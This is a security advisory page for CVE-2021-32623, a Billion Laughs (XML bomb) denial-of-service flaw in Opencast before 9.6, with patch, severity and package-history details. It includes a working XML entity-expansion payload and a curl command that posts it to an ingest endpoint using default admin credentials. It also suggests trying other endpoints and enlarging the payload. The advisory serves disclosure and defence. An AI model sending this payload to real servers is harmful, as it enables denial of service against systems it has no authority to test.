High

Billion laughs attack (XML bomb)

  • Disclosed: 17.06.2021
  • Updated: 11.10.2026 12:22

Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (createMediaPackage.xml) like this:

xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
 <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
 <!ELEMENT title (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
  <title>&lol5;</title>
  <media/>
  <metadata/>
  <attachments/>
  <publications/>
</mediapackage>

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

bash
curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
  -F 'mediapackage=<createMediaPackage.xml' \
  -F sourceFlavors="" \
  -F sourceTags="" \
  -F deleteExternal="" \
  -F tagsAndFlavor='' \
  -o out.xml

Additional notes:

  • You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
  • Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
  • To exploit this, users need to have ingest privileges, limiting the group of potential attackers

Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References

For more information

If you have any questions or comments about this advisory:

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.opencastproject:opencast-kernel < 9.6 9.6

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness (CWE)
CWE-776
Platform
Java / Kotlin (Maven)
Package
org.opencastproject:opencast-kernel
Disclosed
17.06.2021
Updated
11.10.2026 12:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9gwx-9cwp-5c2m - CC BY 4.0

Vulnerability history: org.opencastproject:opencast-kernel

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
7
First → latest
01.2020 07.2025
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 2
  • Medium 4

Disclosures per year

  1. 2020: 4
  2. 2021: 1
  3. 2022: 1
  4. 2023: 0
  5. 2024: 0
  6. 2025: 1
  7. 2026: 0
  1. Medium · 6.5 CVE-2025-54380 < 17.6 17.6
  2. Medium · 6.5 CVE-2017-1000221 < 2.2.4 2.2.4
  3. Billion laughs attack (XML bomb) this entry
    High · 8.1 CVE-2021-32623 < 9.6 9.6
  4. High · 4.8 CVE-2020-26234 < 7.9, >= 8.0, < 8.9 7.9, 8.9
  5. Medium · 6.8 CVE-2020-5222 < 7.6, >= 8.0, < 8.1 7.6, 8.1
  6. Medium · 4.8 CVE-2020-5231 < 7.6, >= 8.0, < 8.1 7.6, 8.1
  7. Critical · 8.7 CVE-2020-5206 < 7.6, >= 8.0, < 8.1 7.6, 8.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.